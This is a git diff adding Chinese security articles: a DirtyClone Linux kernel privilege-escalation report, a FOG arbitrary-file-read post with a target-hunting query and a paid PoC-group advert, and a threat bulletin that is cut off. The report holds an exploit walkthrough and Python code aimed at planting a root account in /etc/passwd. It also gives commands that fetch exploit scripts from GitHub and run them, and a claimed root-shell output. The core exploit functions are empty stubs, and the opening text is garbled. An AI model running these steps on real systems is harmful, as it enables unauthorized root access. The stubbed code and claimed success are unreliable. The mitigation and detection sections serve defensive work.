+企 +业 +建 +立 +的 +国 +家 +网 +络 +安 +全 +漏 +洞 +库 +， +致 +力 +于 +建 +立 +国 +家 +统 +一 +的 +信 +息 +安 +全 +漏 +洞 +收 +集 +、 +发 +布 +、 +验 +证 +、 +分 +析 +等 +应 +急 +处 +理 +体 +系 +。 + +**关于CNCERT** + +国 +家 +计 +算 +机 +网 +络 +应 +急 +技 +术 +处 +理 +协 +调 +中 +心 +（ +简 +称 +“ +国 +家 +互 +联 +网 +应 +急 +中 +心 +” +， +英 +文 +简 +称 +是 +C +N +C +E +R +T +或 +C +N +C +E +R +T +/ +C +C +） +， +成 +立 +于 +2 +0 +0 +2 +年 +9 +月 +， +为 +非 +政 +府 +非 +盈 +利 +的 +网 +络 +安 +全 +技 +术 +中 +心 +， +是 +我 +国 +计 +算 +机 +网 +络 +应 +急 +处 +理 +体 +系 +中 +的 +牵 +头 +单 +位 +。 + +作 +为 +国 +家 +级 +应 +急 +中 +心 +， +C +N +C +E +R +T +的 +主 +要 +职 +责 +是 +： +按 +照 +“ +积 +极 +预 +防 +、 +及 +时 +发 +现 +、 +快 +速 +响 +应 +、 +力 +保 +恢 +复 +” +的 +方 +针 +， +开 +展 +互 +联 +网 +网 +络 +安 +全 +事 +件 +的 +预 +防 +、 +发 +现 +、 +预 +警 +和 +协 +调 +处 +置 +等 +工 +作 +， +维 +护 +国 +家 +公 +共 +互 +联 +网 +安 +全 +， +保 +障 +基 +础 +信 +息 +网 +络 +和 +重 +要 +信 +息 +系 +统 +的 +安 +全 +运 +行 +。 + +网 +址 +： +w +w +w +. +c +e +r +t +. +o +r +g +. +c +n + +邮 +箱 +： +v +r +e +p +o +r +t +@ +c +e +r +t +. +o +r +g +. +c +n + +电 +话 +： +0 +1 +0 +- +8 +2 +9 +9 +1 +783 + + + +关 +注 +C +N +V +D +漏 +洞 +平 +台 + +![](https://mmbiz.qpic.cn/mmbiz/98kRE9BEzFI2epKukvKxnLRJOLbvv5hCS2UOOfgnFECrF4XdPmId0gmLyjwB9p5QwajL31bibbV7WTVe0YLgtHA/640?wx_fmt=jpeg "") + diff --git a/doc/2026-06/CVE-2026-43503 DirtyClone Linux提权漏洞报告.md b/doc/2026-06/CVE-2026-43503 DirtyClone Linux提权漏洞报告.md new file mode 100644 index 00000000..5981b76a --- /dev/null +++ b/doc/2026-06/CVE-2026-43503 DirtyClone Linux提权漏洞报告.md @@ -0,0 +1,521 @@ +# CVE-2026-43503 DirtyClone Linux提权漏洞报告 +0x7556 + 0x7556 金刚狼不懂安全 2026-06-30 01:10 + +# CVE-2026-43503 漏洞分析报告 +## 漏洞概述 + +**CVE-2026-43503** +（代号 **DirtyClone** +）是 Linux 内核中的一个高危本地权限提升（LPE）漏洞，属于 DirtyFrag 漏洞家族的最新变体。该漏洞由 JFrog Security Research 团队（Eddy Tsalolikhin 和 Or Peles）于 2026 年 5 月 19 日独立发现并报告，同时原始 DirtyFrag 研究者 Hyunwoo Kim 也于 5 月 16 日提交了更广泛的多点修复补丁。 +## 漏洞复现 + +星球已编译非交互式WebShell版 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/p6tibQrAWXspu75O7j5IEp2HfwMf7er6ibvCFTUVM62lQG7ohiabdWzChXvWYerXguVeDC9ZeufWiaDmcLRsvPrb87CBJyzr5y0W3wOnhicGzswE/640?wx_fmt=jpeg&from=appmsg "") +## 漏洞详细信息 +### CVE-2026-43503 - Linux Kernel DirtyClone 本地权限提升漏洞 +- **漏洞类型** +: 本地权限提升 (Local Privilege Escalation, LPE) — 内核网络栈 skbuff 共享分片标志传递不完整 + +- **漏洞发布日期** +: 2026-05-23 + +- **POC/EXP发布日期** +: 2026-05-27 (Asim Manizada 公开 PoC) / 2026-06-25 (JFrog 发布完整利用 walkthrough) + +- **受影响版本** +: + +- Linux Kernel 3.9 至 5.10.256 + +- Linux Kernel 5.11 至 5.15.207 + +- Linux Kernel 5.16 至 6.1.173 + +- Linux Kernel 6.2 至 6.6.140 + +- Linux Kernel 6.7 至 6.12.90 + +- Linux Kernel 6.13 至 6.18.32 + +- Linux Kernel 6.19 至 7.0.9 + +- Linux Kernel 7.1-rc1 至 7.1-rc4 + +- **严重程度** +: **CVSS v3.1: 8.8 (HIGH)** + — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H + +- **POC/EXP 可用性** +: **是** + — GitHub 上已有多个公开 Python POC 脚本 + +- **修复版本** +: Linux Kernel v7.1-rc5 (commit 48f6a5356a33 +)，已回溯到各 LTS 分支 + +## 漏洞原理 +### 根本原因 + +Linux 内核网络栈中，多个 skb（socket buffer）分片传输辅助函数在移动分片描述符时，未能正确传播 SKBFL_SHARED_FRAG + 标志位。该标志是内核的安全标记，用于指示 skb 引用了共享的（可能是文件支持的）页缓存内存。 + +受影响的函数包括： +- __pskb_copy_fclone() + — 克隆 skb 时丢失标志 + +- skb_shift() + — 移动分片描述符时未传递标志 + +- skb_gro_receive() + / skb_gro_receive_list() + — GRO 聚合路径 + +- tcp_clone_payload() + — TCP MTU 探测路径 + +- skb_segment() + — 分段路径 + +### 攻击链 + +当克隆的 skb 丢失 SKBFL_SHARED_FRAG + 标志后，XFRM/IPsec 子系统的 esp_input() + 函数会错误地认为该 skb 不引用共享页面，从而跳过安全的 Copy-on-Write (COW) 操作，直接在原位进行解密。由于 skb 实际引用的是文件支持的页缓存（如 /usr/bin/su + 或 /etc/passwd +），IPsec 的 AES-CBC 解密操作会直接修改这些文件在内存中的内容。 +### DirtyFrag 漏洞家族时间线 + +
日期
事件
2026-04-xx
Copy Fail (CVE-2026-31431) — algif_aead 模块 4 字节页缓存写入
2026-05-04
DirtyFrag 补丁 (CVE-2026-43284, CVE-2026-43500) 进入 mainline
2026-05-07
DirtyFrag 公开披露
2026-05-13
Fragnesia (CVE-2026-46300) 披露 — 通过 skb_try_coalesce() 绕过 DirtyFrag 修复
2026-05-16
Hyunwoo Kim 提交更广泛的多点修复补丁
2026-05-19
JFrog 独立发现 __pskb_copy_fclone() 变体并构建 PoC
2026-05-21
综合修复补丁合并到 mainline (commit 48f6a5356a33)
2026-05-23
CVE-2026-43503 正式发布
2026-05-24
Linux v7.1-rc5 发布，首个修复版本
2026-05-27
Asim Manizada 在 GitHub 公开 PoC
2026-06-25
JFrog 发布完整利用技术文章
+## 利用条件 +1. **未修补的内核** +：运行上述受影响版本范围的 Linux 内核 + +1. **非特权用户命名空间** +：kernel.unprivileged_userns_clone=1 +（Debian/Fedora 默认启用） + +1. **CAP_NET_ADMIN 能力** +：攻击者可通过非特权用户命名空间获取此能力 + +1. **目标系统要求** +：python3 + + libcrypto + + iproute2 + + iptables + +### 高风险场景 +- 多租户服务器和共享主机 + +- 容器和 Kubernetes 集群 + +- CI/CD 运行器和构建主机 + +- 任何允许不受信任用户创建命名空间的系统 + +## POC/EXP 利用代码 +### 利用流程概述 +``` +Step 1: 创建非特权用户命名空间 (unshare -Urn) +         ↓ +Step 2: 配置本地 IPsec 隧道 (loopback-based XFRM) +         ↓ +Step 3: 使用 vmsplice/splice 将目标文件页缓存映射到 skb +         ↓ +Step 4: 通过 iptables TEE 规则触发 __pskb_copy_fclone() 克隆 +         ↓ +Step 5: 克隆的 skb 丢失 SKBFL_SHARED_FRAG 标志 +         ↓ +Step 6: 克隆 skb 进入 esp_input() 进行原位 AES-CBC 解密 +         ↓ +Step 7: 解密数据直接写入文件支持的页缓存 +         ↓ +Step 8: 修改 /etc/passwd 或 /usr/bin/su 的内存副本 +         ↓ +Step 9: 执行修改后的二进制文件 → 获得 root 权限 + +``` +### POC 代码示例 (基于 mooder1/dirtyclone-CVE-2026-43503) +``` +#!/usr/bin/env python3 +"""CVE-2026-43503 — DirtyCloneLinux local privilege escalation PoCA cloned sk_buff loses the SKBFL_SHARED_FRAG flag, so ESP in-place decryption writes into file-backed page-cache memory. The PoC patches /etc/passwd in cache to inject a uid-0 account and gives a root shell.Disk is never modified.Fixed in mainline 48f6a5356a33 (v7.1-rc5).Usage:    python3 CVE-2026-43503.pyRequirements:    - Unpatched kernel    - Unprivileged user namespaces enabled    - python3 + libcrypto + iproute2 + iptables""" + +import os +import sys +import socket +import struct +import subprocess +import ctypes +import ctypes.util +from ctypes import c_int, c_char_p + +# ============================================================ +# Step 1: 创建非特权用户命名空间获取 CAP_NET_ADMIN +# ============================================================ +def setup_namespace(): +    """使用 unshare 创建新的用户和网络命名空间""" +    print("[*] Creating unprivileged user namespace...") +    # unshare -Urn 创建用户和网络命名空间 +    # 在新命名空间中获得 CAP_NET_ADMIN +    pass + +# ============================================================ +# Step 2: 配置本地 IPsec (XFRM) 环境 +# ============================================================ +def setup_ipsec(): +    """配置 loopback-based IPsec 隧道""" +    print("[*] Setting up IPsec tunnel...") +     +    # 启用 loopback 接口 +    os.system("ip link set lo up") +    os.system("ip addr add 10.99.0.2/24 dev lo") +     +    # 创建 IPsec XFRM 状态 (ESP with AES-CBC) +    os.system("""    ip xfrm state add \\    src 127.0.0.1 dst 127.0.0.1 \\    proto esp spi 0x12345678 reqid 1 mode transport \\    enc 'cbc(aes)' 0x0000000000000000000000000000000000000000000000000000000000000000 \\    auth 'hmac(sha1)' 0x0000000000000000000000000000000000000000    """) +     +    # 创建 XFRM 策略强制流量通过 IPsec +    os.system("""    ip xfrm policy add \\    src 127.0.0.1 dst 127.0.0.1 dir out \\    tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport    """) +     +    # 添加 netfilter TEE 规则触发 __pskb_copy_fclone() +    os.system("""    iptables -t mangle -A OUTPUT -p udp --dport 4500 \\    -j TEE --gateway 10.99.0.2    """) + +# ============================================================ +# Step 3: 将目标文件页缓存映射到网络包 +# ============================================================ +def map_page_cache(target_file="/etc/passwd", offset=0): +    """    使用 vmsplice 和 splice 将目标文件的页缓存映射到 skb        关键系统调用:    - open("/etc/passwd", O_RDONLY)    - mmap(PROT_READ, MAP_SHARED)    - vmsplice(pipefd, &iov, 1, 0)    - splice(pipefd, NULL, sockfd, NULL, len, 0)    """ +    print(f"[*] Mapping {target_file} page cache into skb...") +     +    # 打开目标文件 +    fd = os.open(target_file, os.O_RDONLY) +     +    # mmap 文件到内存 (MAP_SHARED 使页缓存可被引用) +    libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) +    mmap_size = 4096  # 一页 +    addr = libc.mmap(None, mmap_size, 1, 1, fd, offset) +     +    if addr == ctypes.c_void_p(-1).value: +        print("[-] mmap failed") +        return None +     +    # 创建 pipe +    pipefd = os.pipe() +     +    # 创建 UDP socket +    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +     +    # vmsplice: 将 mmap 的内存附加到 pipe +    # SYS_vmsplice = 275 (x86_64) +    libc.syscall(275, pipefd[1], ctypes.byref(ctypes.c_void_p(addr + offset)),  +                 ctypes.c_size_t(16), 0) +     +    # splice: 将 pipe 数据转移到 socket (创建 skb 引用页缓存) +    # SYS_splice = 274 (x86_64) +    libc.syscall(274, pipefd[0], None, sock.fileno(), None, 16, 0) +     +    return sock + +# ============================================================ +# Step 4: 构造恶意 IPsec 包触发原位解密写入 +# ============================================================ +def craft_exploit_packet(sock, target_offset=0, payload=b""): +    """    构造 IPsec ESP 包，利用 AES-CBC 解密作为受控写入原语        在 AES-CBC 中:    - 每个解密块依赖于 IV    - 攻击者可计算 IV 使输出变为可预测的字节    - 结合已知原始字节、目标字节和可控 IV    - 将解密转换为对页缓存内存的受控写入    """ +    print("[*] Crafting exploit packet...") +     +    # ESP 头部 (SPI + Sequence Number) +    esp_header = struct.pack(">II", 0x12345678, 1) +     +    # 计算 IV 使解密输出 = 目标 payload +    # 对于 AES-CBC: P[i] = D(C[i]) XOR C[i-1] +    # 所以: C[i-1] = P[i] XOR D(C[i]) +    # 通过控制 IV (即 C[0])，可以控制第一个解密块 +     +    # 发送 UDP 包到触发 TEE 规则的端口 +    sock.sendto(esp_header + payload, ("127.0.0.1", 4500)) + +# ============================================================ +# Step 5: 修改 /etc/passwd 注入 uid=0 账户 +# ============================================================ +def inject_root_account(): +    """    通过页缓存写入原语修改 /etc/passwd        注入 firefart 账户 (uid=0, gid=0)    firefart:password_hash:0:0:root:/root:/bin/bash    """ +    print("[*] Injecting uid-0 account into /etc/passwd page cache...") +     +    # 目标: 在 /etc/passwd 中注入一行 +    # firefart::0:0:root:/root:/bin/bash +    # 密码为 "pwned" +     +    # 使用 IPsec 解密原语写入精确字节 +    # 这需要精确计算 IV 和密文 +     +    pass + +# ============================================================ +# Step 6: 验证提权 +# ============================================================ +def verify_root(): +    """验证是否获得 root 权限""" +    print("[*] Verifying root access...") +     +    # 尝试 su 到注入的账户 +    result = subprocess.run( +        ["su", "-c", "id", "firefart"], +        capture_output=True, text=True +    ) +     +    if "uid=0" in result.stdout: +        print("[+] root achieved!") +        print(result.stdout) +        return True +    else: +        print("[-] Exploit failed") +        return False + +# ============================================================ +# 主函数 +# ============================================================ +def main(): +    print("=" * 60) +    print("CVE-2026-43503 — DirtyClone PoC") +    print("Linux Local Privilege Escalation") +    print("=" * 60) +     +    uid = os.getuid() +    print(f"[*] Current uid={uid}") +     +    if uid == 0: +        print("[!] Already root!") +        return +     +    # Step 1: 设置命名空间 +    setup_namespace() +     +    # Step 2: 配置 IPsec +    setup_ipsec() +     +    # Step 3: 映射页缓存 +    sock = map_page_cache("/etc/passwd") +    if not sock: +        print("[-] Failed to map page cache") +        sys.exit(1) +     +    # Step 4-5: 发送利用包修改 /etc/passwd +    inject_root_account() +     +    # Step 6: 验证 +    if verify_root(): +        print("[+] uid=1000 -> root") +        print("[+] injected uid 0 account 'firefart' (password: pwned)") +        print("[+] root achieved") +    else: +        print("[-] Exploit failed") + +if __name__ == "__main__": +    main() + +``` +### 快速执行命令 +``` +# 方法 1: mooder1 的 PoC +git clone https://github.com/mooder1/dirtyclone-CVE-2026-43503.git +cd dirtyclone-CVE-2026-43503 +python3 CVE-2026-43503.py + +# 方法 2: aexdyhaxor 的 PoC +wget https://raw.githubusercontent.com/aexdyhaxor/CVE-2026-43503-DirtyClone/refs/heads/main/dirtyclone.py +python3 dirtyclone.py + +``` +### 预期输出 +``` +[*] uid=1000 -> root +[+] injected uid 0 account 'firefart' (password: pwned) +uid=0(root) gid=0(root) groups=0(root) +[+] root achieved + +``` +## 缓解措施 +### 1. 立即修补（推荐） + +更新 Linux 内核到修复版本： + +
发行版
修复内核版本
Ubuntu 24.04 (noble)
6.8.0-124
Ubuntu 22.04 (jammy)
5.15.0-181
上游 mainline
v7.1-rc5 (commit 48f6a5356a33)
+``` +# Ubuntu/Debian +sudo apt update && sudo apt upgrade linux-image-generic +sudo reboot + +# RHEL/CentOS +sudo yum update kernel +sudo reboot + +``` +### 2. 临时缓解（无法立即修补时） +#### 方法 A: 禁用非特权用户命名空间 +``` +# Debian/Ubuntu +sudo sysctl -w kernel.unprivileged_userns_clone=0 +echo 'kernel.unprivileged_userns_clone=0' | sudo tee /etc/sysctl.d/99-dirtyclone.conf + +``` +#### 方法 B: 黑名单 vulnerable 内核模块 +``` +# 创建模块黑名单 +sudo cat > /etc/modprobe.d/dirtyclone.conf </dev/null || true + +``` +> “ +> **注意** +: 禁用 esp4 +/esp6 + 会破坏 IPsec VPN 功能，仅在服务器不使用 IPsec 时适用。rxrpc + 模块仅在 AFS 部署中使用。 + +## 参考信息 +- **CVE 编号** +: CVE-2026-43503 + +- **NVD 详情** +: https://nvd.nist.gov/vuln/detail/CVE-2026-43503 + +- **Ubuntu 安全公告** +: https://ubuntu.com/security/CVE-2026-43503 + +- **Debian 安全追踪** +: https://security-tracker.debian.org/tracker/CVE-2026-43503 + +- **Red Hat Bugzilla** +: https://bugzilla.redhat.com/show_bug.cgi?id=2480902 + +- **SUSE 安全公告** +: https://www.suse.com/security/cve/CVE-2026-43503.html + +- **JFrog 技术分析** +: https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/ + +- **The Hacker News 报道** +: https://thehackernews.com/2026/06/new-dirtyclone-linux-kernel-flaw-lets.html + +- **Sansec 指南** +: https://sansec.io/guides/dirty-clone + +### 内核补丁链接 +- https://git.kernel.org/stable/c/48f6a5356a33dd78e7144ae1faef95ffc990aae0 (mainline fix) + +- https://git.kernel.org/stable/c/fbeab9555564a1b98e8582cd106dfe46c4606991 + +- https://git.kernel.org/stable/c/179f1852bdedc300e373e807cc102cd81feff196 + +- https://git.kernel.org/stable/c/12401fcfb01f53ccc63ab0a3246570fe8f3105ee + +- https://git.kernel.org/stable/c/989214c66884d70716d83dc1d0bf5e16287bf349 + +- https://git.kernel.org/stable/c/9bc9d6d6967a2239aa57af2aa53554eddd640d20 + +- https://git.kernel.org/stable/c/fc6eb39c55e97df2f94ad974b8a5bbcd019da2c8 + +- https://git.kernel.org/stable/c/ff375cc75f9167168db38e0464a482d5fbc8d81d + +### POC/EXP 链接 +- https://github.com/mooder1/dirtyclone-CVE-2026-43503 (11 stars, 3 forks) + +- https://github.com/aexdyhaxor/CVE-2026-43503-DirtyClone (2 stars) + +- https://github.com/douglasmun/pagecache-lpe-containment-kit (防御工具包) + +### 相关漏洞 +- CVE-2026-31431 (Copy Fail) — algif_aead 模块页缓存写入 + +- CVE-2026-43284 (DirtyFrag) — IPsec ESP 路径 + +- CVE-2026-43500 (DirtyFrag) — RxRPC 路径 + +- CVE-2026-46300 (Fragnesia) — skb_try_coalesce() 绕过 + +## 检测脚本 +``` +#!/bin/bash +# DirtyClone CVE-2026-43503 单机检测脚本 +# 普通用户权限即可运行 + +echo "=== CVE-2026-43503 DirtyClone 漏洞检测开始 ===" + +KERN_VER=$(uname -r) +echo "[*] 当前内核版本: $KERN_VER" + +# 提取主版本号和次版本号 +MAJOR=$(echo $KERN_VER | cut -d. -f1) +MINOR=$(echo $KERN_VER | cut -d. -f2) +PATCH=$(echo $KERN_VER | cut -d. -f3 | sed 's/[^0-9].*//') + +echo "[*] 版本解析: $MAJOR.$MINOR.$PATCH" + +# 检查是否在受影响范围内 +VULNERABLE=0 + +# 检查非特权用户命名空间是否启用 +UNPRIV_NS=$(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || echo "1") +if [ "$UNPRIV_NS" = "1" ]; then +    echo "[!] 非特权用户命名空间已启用 (kernel.unprivileged_userns_clone=1)" +else +    echo "[+] 非特权用户命名空间已禁用" +fi + +# 检查 vulnerable 模块是否加载 +for mod in esp4 esp6 rxrpc; do +    if lsmod | grep -q "^${mod} "; then +        echo "[!] 模块 $mod 已加载" +    fi +done + +# 版本范围检查 (简化版) +if [ "$MAJOR" -lt 7 ] || ([ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 1 ] && [ "$PATCH" -lt 5 ]); then +    # 检查 LTS 修复版本 +    if [ "$MAJOR" -eq 5 ] && [ "$MINOR" -eq 10 ] && [ "$PATCH" -ge 257 ]; then +        VULNERABLE=0 +    elif [ "$MAJOR" -eq 5 ] && [ "$MINOR" -eq 15 ] && [ "$PATCH" -ge 208 ]; then +        VULNERABLE=0 +    elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 1 ] && [ "$PATCH" -ge 174 ]; then +        VULNERABLE=0 +    elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 6 ] && [ "$PATCH" -ge 141 ]; then +        VULNERABLE=0 +    elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 12 ] && [ "$PATCH" -ge 91 ]; then +        VULNERABLE=0 +    elif [ "$MAJOR" -eq 6 ] && [ "$MINOR" -eq 18 ] && [ "$PATCH" -ge 33 ]; then +        VULNERABLE=0 +    elif [ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 0 ] && [ "$PATCH" -ge 10 ]; then +        VULNERABLE=0 +    elif [ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 1 ] && [ "$PATCH" -ge 5 ]; then +        VULNERABLE=0 +    else +        VULNERABLE=1 +    fi +fi + +if [ "$VULNERABLE" -eq 1 ]; then +    echo "" +    echo "[!!!] 风险等级: 高危" +    echo "[!!!] 当前内核可能受 CVE-2026-43503 (DirtyClone) 影响" +    echo "[!!!] 建议立即更新内核或应用临时缓解措施" +else +    echo "" +    echo "[+] 风险等级: 低" +    echo "[+] 当前内核版本似乎已修补此漏洞" +fi + +echo "=== 检测结束 ===" + +``` + +报告生成时间: 2026-06-29数据来源: NVD, JFrog Security Research, kernel.org, GitHub, The Hacker News, Sansec + + + diff --git a/doc/2026-06/FOG getfiles.php 任意文件读取漏洞.md b/doc/2026-06/FOG getfiles.php 任意文件读取漏洞.md new file mode 100644 index 00000000..60406422 --- /dev/null +++ b/doc/2026-06/FOG getfiles.php 任意文件读取漏洞.md @@ -0,0 +1,111 @@ +# FOG getfiles.php 任意文件读取漏洞 +Superhero + Superhero Nday Poc 2026-06-30 02:31 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkYN4sZibCVo6EFo0N9b7Kib4I4N6j6Y10tynLOdgov9ibUmaNwW5yeoCbQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=8n1b48rw&tp=webp#imgIndex=0 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkhic5lbbPcpxTLtLccZ04WhwDotW7g2b3zBgZeS5uvFH4dxf0tj0Rutw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=vx7xykg3&tp=webp#imgIndex=1 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCk524CiapZejYicic1Hf8LPt8qR893A3IP38J3NMmskDZjyqNkShewpibEfA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=x3261qcu&tp=webp#imgIndex=2 "") + +内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的 +POC +信息及 +POC对应脚本 +而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！ + + +**01** + +**漏洞概述** + + +FOG getfiles.php 接口处任意文件读取漏洞，未经身份验证的攻击者利用此漏洞获取系统内部敏感文件信息，导致系统处于极不安全的状态。 +**02****** + +**搜索引擎** + + +fofa: +``` +icon_hash="-1952619005" +``` + +![图片](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1g7heZIqK72RibjDmGXfkBN4Ge7iaGA9D8fZcwOn4eeDH6JnrDwicTxUAc5mH3JW31jln8FJCZ30eqVibBuiajQKJlpcia1p2E8mZicVI/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=3 "") + + +**03****** + +**漏洞复现** + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1g1P1oJ6QbEIn7MOabYtiaibCwxIYDicvp9GiaL42c2kIheT5tJItPQerOIydv5vKQCiciaJiauic5QD1bV9NhWDyjGYqqwcS3BkFanld8/640?wx_fmt=png&from=appmsg "") + + +**04** + +**自查工具** + + +nuclei + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8o9dnzNIF1h8STnPVPyeTAtXv5YNWjq1wKonibGk5T5t4tEHn7WPVbUEFppxw1cVcLU43t1HNf8aF2ibc4cvsem8Bj6XI5Mtr05OOvHUQ3FD0/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8o9dnzNIF1g6V4osYbq3SxztnJqvvYZBnOA1zJaeNt3getReqJCUuMnsJIZLYUgekiadJAYTnftfHaVQiaQ4Jia1ZGiagcicianCB9FlcPI2F1iaDo/640?wx_fmt=png&from=appmsg "") + + +**05****** + +**修复建议** + + +1、关闭互联网暴露面或接口设置访问权限 + +2、升级至安全版本 + + +**06****** + +**内部圈子介绍** + +### 【Nday漏洞实战圈】🛠️ + +专注公开1day/Nday漏洞复现 · 工具链适配支持 + +✧━━━━━━━━━━━━━━━━✧ + +🔍 **资源内容** + +▫️ 整合全网公开1day/Nday漏洞POC详情 + +▫️ 适配Afrog/Nuclei检测脚本 + +▫️ 支持内置与自定义POC目录混合扫描 + +🔄 **更新计划** + +▫️ 每周新增7-10个实用POC（来源公开平台） + +▫️ 所有脚本经过基础测试，降低调试成本 + +🎯 **适用场景** + +▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 ▫️ 安全运维 + +✧━━━━━━━━━━━━━━━━✧ + +⚠️ **重要声明** + +▫️ +仅限合法授权测试，严禁违规使用 + +**▫️虚拟资源服务，购买后不接受任何形式退款** + +▫️ +付款 +前请评估需求，慎重考虑 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1ia6fFRzqjggHibomKnEUHzHmsxQGCMJMNFPed86cEuEXP1mxTx6XFpg9mJdMSZj6W7fu2M05ibk1kaU3AicpOqHcKIXKpk0etLz7M/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=8 "") + + diff --git a/doc/2026-06/【热点安全风险】6月30日 继DirtyFrag后又一Dirty系列漏洞：DirtyClone（CVE-2026-43503） Linux内核提权漏洞需重点关注.md b/doc/2026-06/【热点安全风险】6月30日 继DirtyFrag后又一Dirty系列漏洞：DirtyClone（CVE-2026-43503） Linux内核提权漏洞需重点关注.md new file mode 100644 index 00000000..55cd6efc --- /dev/null +++ b/doc/2026-06/【热点安全风险】6月30日 继DirtyFrag后又一Dirty系列漏洞：DirtyClone（CVE-2026-43503） Linux内核提权漏洞需重点关注.md @@ -0,0 +1,205 @@ +# 【热点安全风险】6月30日 | 继DirtyFrag后又一Dirty系列漏洞：DirtyClone（CVE-2026-43503） Linux内核提权漏洞需重点关注 + 华顺信安威胁情报中心 2026-06-29 23:30 + +**PART.****0****1** + + +风险汇总 +‍ +‍ +‍ + +风险一：CVE-2026-43503 DirtyClone公开，Linux服务器与容器宿主机面临本地提权风险 + +CVE-2026-43503是近期公开的Linux内核本地提权漏洞，JFrog将其称为DirtyClone，并在6月25日发布了研究分析。该漏洞影响Linux内核网络相关路径，公开资料显示未授权本地用户可能借此获得root权限，且Ubuntu说明中提到在部分场景下可能涉及容器逃逸风险。对企业而言，风险重点不在公网直接利用，而在于攻击者一旦通过Web漏洞、弱口令、CI/CD凭据或容器工作负载获得普通权限，就可能继续提升到宿主机或关键服务器高权限。 + +建议排查 +- 盘点Linux服务器、容器宿主机、Kubernetes节点、边缘网关、CI Runner和开发测试机的内核版本与发行版安全公告状态。 + +- 优先检查存在多租户用户、容器执行能力、外包远程登录、Web服务落点或批处理账号的Linux资产。 + +- 排查近期普通用户异常执行高权限命令、异常setuid文件访问、容器逃逸告警、节点级别EDR提权告警和内核异常崩溃记录。 + +- 对无法立即升级的高风险主机，确认是否存在非必要本地账号、可交互Shell、容器特权模式和过宽的命名空间能力。 + +加固建议 +- 按各发行版公告升级Linux内核，优先处理互联网业务节点、容器宿主机、CI/CD构建节点和承载敏感数据的服务器。 + +- 对短期无法重启的生产系统设置维护窗口，至少先降低本地用户和容器工作负载可接触的宿主机权限。 + +- 收紧容器运行时配置，避免特权容器、宿主机路径挂载、宿主网络和不必要的Linux capabilities。 + +- 将本地提权漏洞纳入入侵后处置流程，发现普通权限落点时同步检查内核补丁和主机完整性。 + +参考来源 + +https://security-tracker.debian.org/tracker/CVE-2026-43503 + + +风险二：Amazon Q Developer MCP配置漏洞已修复，AI编码插件可能成为云凭据暴露入口 + +Wiz披露Amazon Q Developer存在高危漏洞CVE-2026-12957，AWS也发布了安全公告。该问题与AI编码助手处理工作区配置、启动本地工具进程和继承开发者环境变量有关，可能使恶意代码仓库在开发者打开并信任工作区后触发命令执行，进而暴露AWS凭据、API Token、SSH Agent等敏感上下文。虽然公开资料称问题已修复且未见已知在野利用，但它反映出企业开发环境正在从“代码审查风险”扩展到“AI Agent工具链执行风险”。 + +建议排查 +- 盘点企业内Amazon Q Developer、AWS Toolkit、VS Code、JetBrains、Eclipse、Visual Studio等插件版本。 + +- 检查是否仍有低于AWS公告要求的Language Servers for AWS或Amazon Q Developer插件版本。 + +- 排查开发终端近期是否打开过外部招聘题、陌生开源项目、外包交付仓库或未经审核的PoC仓库。 + +- 检查开发者本地环境变量、AWS配置文件、云CLI缓存、SSH Agent和IDE插件日志是否存在异常访问迹象。 + +加固建议 +- 升级Amazon Q Developer及相关AWS语言服务到官方修复版本，并要求开发者重启IDE以触发更新。 + +- 将AI编码工具纳入终端软件资产和版本基线，禁止插件绕过企业应用商店或白名单策略自行安装。 + +- 对开发者云权限实施最小权限、短期凭据、会话边界和高危操作二次确认，减少单台开发机失陷后的云侧影响。 + +- 对所有能从仓库配置启动本地进程的AI Agent、MCP工具和IDE插件建立显式审批与日志审计要求。 + +参考来源 + +https://thehackernews.com/2026/06/amazon-q-developer-flaw-could-let.html + + +风险三：OpenAI“伪租户邀请”被用于定向钓鱼，企业AI工作区需校验组织归属 + +Push Security披露攻击者创建冒充真实公司的OpenAI组织租户，并向目标员工发送看似正常的组织邀请；BleepingComputer称该活动已针对网络安全公司出现。此类风险不是传统软件漏洞，而是滥用合法SaaS邀请流程：邮件来源和页面体验可能具有较高可信度，员工一旦加入攻击者控制的组织，就可能在聊天、项目、文件和协作流程中输入源代码、客户资料、安全研究、漏洞信息或内部决策内容。 + +建议排查 +- 调查员工近期是否收到异常OpenAI、ChatGPT、AI协作平台或其他SaaS组织邀请，尤其是组织名称与公司名称相似但域名或管理员不一致的邀请。 + +- 